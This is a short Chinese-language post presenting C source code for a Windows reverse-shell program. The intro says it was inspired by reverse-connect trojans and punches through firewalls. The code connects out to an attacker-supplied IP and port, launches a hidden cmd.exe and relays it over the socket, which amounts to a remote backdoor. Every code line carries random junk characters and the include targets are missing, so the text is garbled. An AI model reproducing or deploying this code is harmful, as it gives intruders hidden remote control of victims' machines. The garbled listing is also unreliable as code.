Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Q4:r$ &  
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/* ============================== wXGFq3`  
Rebound port in Windows NT |M>k &p,B-  
By wind,2006/7 4H?Ma|,  
===============================*/ CPeK0(7Zh  
#include HU+H0S~g  
#include _rJSkZO  
)tch>.EQ_  
#pragma comment(lib,"wsock32.lib") 0i`Zy!  
^JDV4>S\  
void OutputShell(); SW'KYzn  
SOCKET sClient; <d`UifqD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6i9I 4*'  
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void main(int argc,char **argv) ^ED>{UiNI  
{ ^Jc0c)*  
WSADATA stWsaData; 6b01xu(A[  
int nRet; Y1+lk^  
SOCKADDR_IN stSaiClient,stSaiServer; XRz6Yf(/  
^ 6|"=+cO\  
if(argc != 3) hD"~ ^  
{ SZD2'UaG  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1AV1W_"  
return; 9d}ny
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} [te7uZv-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]LOtwY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :{Z^ _;Tf  
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stSaiClient.sin_family = AF_INET; ]qHO{b4k  
stSaiClient.sin_port = htons(0); deY
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q^w]Nj(e_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ve^MqW&S  
{ EC#10.  
printf("Bind Socket Failed!\n"); Li^!OHro.  
return; c6)zx b  
} o:\a  
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stSaiServer.sin_family = AF_INET; <!>}t a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;_&L^)~P$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &L~rq)r/&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >G~;2K[  
{ MA6%g} o  
printf("Connect Error!"); 0^Cx`xdX:  
return; ScKfr  
} @cGql=
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OutputShell(); bM3e7olWS  
} S]g)^f'a65  
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void OutputShell() r=aQS5  
{ q~_jF$9SX  
char szBuff[1024]; i=QhXCM  
SECURITY_ATTRIBUTES stSecurityAttributes; ,jcp"-5#j  
OSVERSIONINFO stOsversionInfo; ttVSgKAsm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }TvAjLIS6  
STARTUPINFO stStartupInfo; Q
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char *szShell; }>U03aa
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PROCESS_INFORMATION stProcessInformation; "iG
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unsigned long lBytesRead; -h`0v  
{ rn~D5R  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1*jm9])#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,[#f}|s_  
stSecurityAttributes.lpSecurityDescriptor = 0; s%|J(0  
stSecurityAttributes.bInheritHandle = TRUE; nHjwT5Q+Q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >WX'oP(<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mIodD)?{  
~vFo 0k(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tH(#nx8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,-kZ5&r  
stStartupInfo.wShowWindow = SW_HIDE; /WVMT]T6^,  
stStartupInfo.hStdInput = hReadPipe; t%@pyK  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rzLlM  
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GetVersionEx(&stOsversionInfo); 8:NHPHxB  
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switch(stOsversionInfo.dwPlatformId) :tG5~sK  
{ Q.\ovk~,a  
case 1: 69yyVu_  
szShell = "command.com"; s. [${S6O  
break; "O "@HVF@  
default: f}eVfAf
 
szShell = "cmd.exe"; 5GkM7Zu!{j  
break; kGP?Jx\PkH  
} w2[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lp=B? H  
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send(sClient,szMsg,77,0); {*9i}w|2  
while(1) $*R9LPpk+  
{ ZrS!R[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #
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if(lBytesRead) yl%F<5  
{ DmsloPB?_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &KWh5S@w  
send(sClient,szBuff,lBytesRead,0); th,qq  
} S:s^si2/  
else pE N`&'4  
{ 17d$gZ1O:  
lBytesRead=recv(sClient,szBuff,1024,0); r1]^#&V;MC  
if(lBytesRead<=0) break; w"|c;E1;_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gEu\X|7'  
} ZT#G
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} _P:P5H8  
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return; |t_2AV  
}